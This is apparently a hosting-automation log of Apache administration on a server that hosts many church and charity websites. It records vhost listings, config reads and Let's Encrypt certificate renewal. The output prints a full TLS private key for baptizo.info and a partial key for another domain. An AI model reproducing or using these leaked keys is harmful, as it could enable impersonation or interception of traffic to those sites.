cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/baptizo_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/baptizo_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/baptizo_www_info.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/baptizo_www_info.conf= 1'
fi
2025-12-28 06:00:35:
chmod 755 /tmp/pkp598483; /tmp/pkp598483; rm /tmp/pkp598483
2025-12-28 06:00:35:
2025-12-28 06:00:35:
PUT: /tmp/pkp776065
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-28 06:00:35:
chmod 755 /tmp/pkp776065; /tmp/pkp776065; rm /tmp/pkp776065
2025-12-28 06:00:35:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-28 06:00:35: Establishing a connection
2025-12-28 06:00:36:
PUT: /tmp/pkp600138
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-28 06:00:36:
chmod 755 /tmp/pkp600138; /tmp/pkp600138; rm /tmp/pkp600138
2025-12-28 06:00:36:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-28 06:00:36:
PUT: /tmp/pkp312574
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/baptizo_www_info.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-28 06:00:36:
chmod 755 /tmp/pkp312574; /tmp/pkp312574; rm /tmp/pkp312574
2025-12-28 06:00:36:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/baptizo_www_info.conf 1355
<VirtualHost *:80>
ServerName baptizo.info
ServerAlias www.baptizo.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/baptizo_www
<Directory /var/www/baptizo_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/baptizo/www_access.log combined
ErrorLog /var/log/apache2/baptizo/www_error.log
SetEnv pkp_uid 55
SetEnv pkp_owner baptizo
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName baptizo.info
ServerAlias www.baptizo.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt
DocumentRoot /var/www/baptizo_www
<Directory /var/www/baptizo_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/baptizo/www_secure_access.log combined
ErrorLog /var/log/apache2/baptizo/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-28 06:00:36:
PUT: /tmp/pkp350382
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-28 06:00:36:
chmod 755 /tmp/pkp350382; /tmp/pkp350382; rm /tmp/pkp350382
2025-12-28 06:00:36:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt 5368
36:bb:aa:02:70:c4:8c:46:58:fa:7a:1b:64:2a:53:c9
-----BEGIN CERTIFICATE-----
MIIFBzCCA++gAwIBAgISBVt6HzhaCRTuB2Nn6F46fQGxMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjI4MDUwMjA0WhcNMjYwMzI4MDUwMjAzWjAXMRUwEwYDVQQD
EwxiYXB0aXpvLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDG
87IFN5sovfmQIQ6sefQTLQczsqQpll5zRyGmfXbeWIwvTcl6ENq0DI5/AtNEQ7nq
tRk4yuJBSex2jXwV91hZVpdXbtMwmr45wKcwqOjfENke4qkKrMQUuxv4JBO6YTHz
p+1GXVpp5ypRHPQhSgRamIjnJoCDp4kfgK2dtg/420eZLyjX+/p4bav6lU6Erq4Q
yi5uUYX1UyBnuPS0h84wbs1fmxUk9pBkRcV016EYWIHgAmkDpc9WPa2JFRa/IsOw
JwGjbBjYlMaEJ9ksUUq6xtmgpdUcNPDO/uu6aA/Ok9rftFnX1DYnwtz5lPbbr3YL
fEmHDubNlW6Z07QrFSS5AgMBAAGjggIvMIICKzAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFDtSliW9F8ANW35I7i9Sud6lhjbcMB8GA1UdIwQYMBaAFOernw8sM6BT015P
eMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
My5pLmxlbmNyLm9yZy8wKQYDVR0RBCIwIIIMYmFwdGl6by5pbmZvghB3d3cuYmFw
dGl6by5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNTAuY3JsMIIBBQYKKwYBBAHWeQIEAgSB
9gSB8wDxAHcASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGbY4tV
lgAABAMASDBGAiEA9jmXv86nNnPWvGybARcOz8LDPGYrHobFlV08ZOE2GzsCIQCm
npNwW3l5ECw2meuCYYc64RlT6U7qRLKXnOPfOOzmMAB2AJaXZL9VWJet90OHaDcI
Qnfp8DrV9qTzNm5GpD8PyqnGAAABm2OLVeIAAAQDAEcwRQIhAMvoWluaTObtoVy/
C0hzZwXcqzMXwXOg4HHUXOmxC6QqAiB7C+hPF+fPIyBtnnfu6JHYSEelayQAHvfR
gdV3wjh4GzANBgkqhkiG9w0BAQsFAAOCAQEAVaugpCT2XvdtgYQCy3yrPAc1Ghwd
cmFGIbr64BKWuXJaUTMZG1rthKzo4XARKbrGd6+URNsxhuAzykWDPdeUNCSikJaO
4reFzNxaynH7d3vjwEIovJ6eKD+RkfjqY9xrBWNYUQxBOSKeIutWWDIyj4UudYet
aUnhrF+7Wytx78tMx3kiIz5n6HEfcyuMrNAZfvZJSHgm9GX3oN53XBUlmD3xPmD/
yxPFVLkNferluFO2q6dI4Wi861bDKSw7rSL/3LifCc5YLK6ZGjy65TU5z7tFVxIe
GePf2YXQHVpKDm9txnXlONzhWJKevtBMNwioUh8qAPgXzA150AGlM8mk7g==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDG87IFN5sovfmQ
IQ6sefQTLQczsqQpll5zRyGmfXbeWIwvTcl6ENq0DI5/AtNEQ7nqtRk4yuJBSex2
jXwV91hZVpdXbtMwmr45wKcwqOjfENke4qkKrMQUuxv4JBO6YTHzp+1GXVpp5ypR
HPQhSgRamIjnJoCDp4kfgK2dtg/420eZLyjX+/p4bav6lU6Erq4Qyi5uUYX1UyBn
uPS0h84wbs1fmxUk9pBkRcV016EYWIHgAmkDpc9WPa2JFRa/IsOwJwGjbBjYlMaE
J9ksUUq6xtmgpdUcNPDO/uu6aA/Ok9rftFnX1DYnwtz5lPbbr3YLfEmHDubNlW6Z
07QrFSS5AgMBAAECggEAKqifq/M1m3mKjJ8t8okOrtrpj6n2/azOkTi4DCccSQYi
/tSWxgvdnRwRJMYyDxHXiC4vG4iTFW04nN3u9JXN1ZAV0MtEUMhpT+BRaQNatVO7
Pl5a4R1UyN4q29y+dyj2iThhTcRgCdOldPF4njes8dEBj9CnXzNZ2U2hzG54g8L9
vKSltWCen0dYWlmVTUzNNreR4Xt4IKpKifgpePNx913smq5l+6GmpdLj+AyvGSWZ
xuuWu4TUPxR34A8nv15Et7NB2ZKeC/jHrtR0U3BDUVYsrvVsUigx9EvTxAowu9TV
QhwNIrBGo+bZgJX5kDXm3zuENY1DWfxSOf8EJIYlVQKBgQD1NG/REjGUyE6lbdyJ
x/Nd3JOxpBgjRkjoqveoU20TAW0qdasWYA6E/BFHJZ2esYcpnpyxDIG7/2531XVR
ZIQLNS60ip9U2U7EYGysk1ZXflRyz6w9cnSr9rXKGgyf5n2LzQeI4RPtC60H5NNu
SoVvlO/QSPhB4O/+ioPWYdKOTQKBgQDPtff9MGiN7HV5s0tdHxsCwD9P6gfNz4Tf
ujEbK9LZoPzRfXSYLhkBEHxrtdShLmhSKnIJGuyIswc2PROGeZ8pLP51NM9qA354
q9L7YA/a2GeGeMNHwjnswyg3IVpl9sBOUWXJE2Zs29c17qZElrr1msyqMTtXTszZ
EMdUwsYeHQKBgDmUzMVN/nKv7zgN6oI4gEAEcnJ+1GRENw7cRzgyDyUtapNT+o9Q
k1hLUUth2/fOPK1bX/R7uWOKgkiFyf0JG7D+Fi+zdeMY/NREyIBmQRpewjoL5qiv
XhKb5ujE4T4ThFv2E9Ti9ijuWv3FkJkPyvH/Canh2NqvlewyXu9THXzpAoGBALD+
SXwpVN6jAJOcsXp/d//HG+wX62B4FayjNxcFJ92krepBMio/FbVve+Y4giB6sBBb
9OJHXAk8LMgOEWZEmth2a7oqLxgSNCHVoKnteHUudEEFBLpQChXzUoBv3l0Gf2X9
PHO0IVJfnqppWqsVmeiRaRcZbox+LFZHUuOqOTINAoGAXAprnTTdMdC6m9BGfXJQ
gYvxTaR2ali/KVJSTx/G8Z7LDgp6hsXiQEdGFqaU3ZydCzyOfn4i4e/xNwnzmzDB
+1Ab+LVYSrdTfyfV8ImbYTrFqrOQIiuYGD4VSXRnDM/KWmXf0UYM2gATkvNZmtFT
9CgANuLJWF3OatgOF9z3EQU=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-12-28 06:00:36: Establishing a connection
2025-12-28 06:00:36: Establishing a connection
2025-12-28 06:00:36:
PUT: /tmp/pkp407902
#!/bin/bash
if [ -d "/var/www/christadelphianfraternal_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-28 06:00:36:
chmod 755 /tmp/pkp407902; /tmp/pkp407902; rm /tmp/pkp407902
2025-12-28 06:00:36:
1
2025-12-28 06:00:37: Establishing a connection
2025-12-28 06:00:37:
PUT: /tmp/pkp969402
#!/bin/bash
mkdir -p "/var/www/christadelphianfraternal_www/.well-known/acme-challenge/"
cd "/var/www/christadelphianfraternal_www/.well-known/acme-challenge/"
cat > NgJfBFATkXjUAdqpkRQVak_ZEx19aIUko5O9c1JDB8s <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
NgJfBFATkXjUAdqpkRQVak_ZEx19aIUko5O9c1JDB8s.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 NgJfBFATkXjUAdqpkRQVak_ZEx19aIUko5O9c1JDB8s
cat > t5RijCEhTDLpQkb6a3mNiH2DxM8Ub0_5Vdvn3L1CPg4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
t5RijCEhTDLpQkb6a3mNiH2DxM8Ub0_5Vdvn3L1CPg4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 t5RijCEhTDLpQkb6a3mNiH2DxM8Ub0_5Vdvn3L1CPg4
2025-12-28 06:00:37:
chmod 755 /tmp/pkp969402; /tmp/pkp969402; rm /tmp/pkp969402
2025-12-28 06:00:37:
2025-12-28 06:00:45: Establishing a connection
2025-12-28 06:00:45:
PUT: /tmp/pkp978682
#!/bin/bash
mkdir -p "/var/www/christadelphianfraternal_www/.well-known/acme-challenge/"
cd "/var/www/christadelphianfraternal_www/.well-known/acme-challenge/"
rm NgJfBFATkXjUAdqpkRQVak_ZEx19aIUko5O9c1JDB8s
rm t5RijCEhTDLpQkb6a3mNiH2DxM8Ub0_5Vdvn3L1CPg4
2025-12-28 06:00:46:
chmod 755 /tmp/pkp978682; /tmp/pkp978682; rm /tmp/pkp978682
2025-12-28 06:00:46:
2025-12-28 06:00:46: Establishing a connection
2025-12-28 06:00:46:
PUT: /tmp/pkp544146
#!/bin/bash
temp_file=$(mktemp)
TARGET=b4498780588346731659d115ecf1bb4c.crt
cat > $temp_file <<'endmsg'
b5:e8:fc:fa:cf:83:18:a1:ed:31:aa:19:53:06:b0:bc
-----BEGIN CERTIFICATE-----
MIIFODCCBCCgAwIBAgISBbBMOWZa5SpdgeAhNIVzGD1JMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjI4MDUwMjE1WhcNMjYwMzI4MDUwMjE0WjAoMSYwJAYDVQQD
Ex1jaHJpc3RhZGVscGhpYW5mcmF0ZXJuYWwuaW5mbzCCASIwDQYJKoZIhvcNAQEB
BQADggEPADCCAQoCggEBALdE8bvbOc1XuAP1uRgNVfx7t0QjP6t7bDZdYYdOuVFX
3Jg4jcZoSgwt162iF9aLEXy1W1d7q7C/3DiaITZg9u2/3Ri6vu+O+lhIVS5oRmY+
gZu5vaCOP3BueuMrtHiXkGHpM3r5btVN0nKPReJ/Lx+zatx16SggegIYLn2FqgVz
Dz2rUUU+n+etg6C39moTOSd4QdGpXWLj8DD1sLWWToqI099Iuws4vAd/n8fuGxUy
WYmrr3q74D0TAs8YKB31kbW48Sv8GYY6IwDKMPDG958vn8ygl5YTAa4jrU/B7Gkb
REWegBZdvbuLrZLaQeRujgiCuCu3N2a1ZGaaiPMH4m0CAwEAAaOCAk8wggJLMA4G
A1UdDwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYD
VR0TAQH/BAIwADAdBgNVHQ4EFgQUnwd2gGRCPZe+yE/jxiiZ/x7I6N8wHwYDVR0j
BBgwFoAU56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsG
AQUFBzAChhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzBLBgNVHREERDBCgh1jaHJp
c3RhZGVscGhpYW5mcmF0ZXJuYWwuaW5mb4Ihd3d3LmNocmlzdGFkZWxwaGlhbmZy
YXRlcm5hbC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6Ah
oB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNzQuY3JsMIIBAwYKKwYBBAHWeQIE
AgSB9ASB8QDvAHUAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGb
Y4t/fQAABAMARjBEAiBxLWW3FcjtHOAmcYlhit7lqT8wGspkLetN6AmaIpOgLwIg
frJCfyy1XoKmrxquYHob1YOY3S6OQZGmmexTdxuq/rYAdgDRbqmlaAd+ZjWgPzel
3bwDpTxBEhTUiBj16TGzI8uVBAAAAZtji4B9AAAEAwBHMEUCIQCS+y5bwvIOxbR1
6g7ceC0tCJKdphekmN6ckwXZrrPZ5wIgI1TaRT5eZHEUVY2Gr0stPmcz9jvEumgX
txsqa9XCmaEwDQYJKoZIhvcNAQELBQADggEBAJh1Sn8p1NGQrARf8Z4qJIgLZAGD
X8BwCcNrf4n32peLkwD9hPd2VxBrhdvcxoLBJpwZbGmGRM8kwqZLh94XWrevS5Zv
BxUY8+OQxvkWsBuY7iE8FTEiNs85fAwCUlkwMlMB8/bvAbvjp2ZkHlHDjvXfYoj+
hCI0QSY16845CeTAO8ky7VpxohfXnBmhDbVzHQ/VJ/ILsh5Oc4HLR/Q2Xfzm819H
DRDRAasCy1IVFfTVh8PPIHpcq/MILOCKq6Zh3V7Y/RaR2udOd206OxXc1shbmxXy
+G4/iJ1cvRbyXOvCqQaV7NbbAMn9tU9pnXM/IUrxwMC5N+4oTh0sPplwSA8=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC3RPG72znNV7gD
9bkYDVX8e7dEIz+re2w2XWGHTrlRV9yYOI3GaEoMLdetohfWixF8tVtXe6uwv9w4
miE2YPbtv90Yur7vjvpYSFUuaEZmPoGbub2gjj9wbnrjK7R4l5Bh6TN6+W7VTdJy
j0Xify8fs2rcdekoIHoCGC59haoFcw89q1FFPp/nrYOgt/ZqEzkneEHRqV1i4/Aw
9bC1lk6KiNPfSLsLOLwHf5/H7hsVMlmJq696u+A9EwLPGCgd9ZG1uPEr/BmGOiMA
yjDwxvefL5/MoJeWEwGuI61PwexpG0RFnoAWXb27i62S2kHkbo4IgrgrtzdmtWRm
mojzB+JtAgMBAAECggEADuWEvJ9KKH270F6Vx/W1iotHzzsKPtcOabDXb5cfixQY
MytNotXxRuInCM8HHwI4zqkzHn5H61r8/IDSuEfTamnQ/+SWBoTZpnliqx4Asujb
whur5TQKxgnE5Vg1GCRBsSOycol5z86+j19D7/AklXAQ/JB8/iz9ndP3W26U7lJT
rbXMelTqaKJXF0Gozl19elwyjnwDg93QrXY5ezFPUjObdhoSnC7sUXTpgTxee0Gd
fRYNSse6upZerr1DTIB20aJs5ALKGE6ZCdTjgnJWadZDdyArw6O/nyLTvmHjTRgI
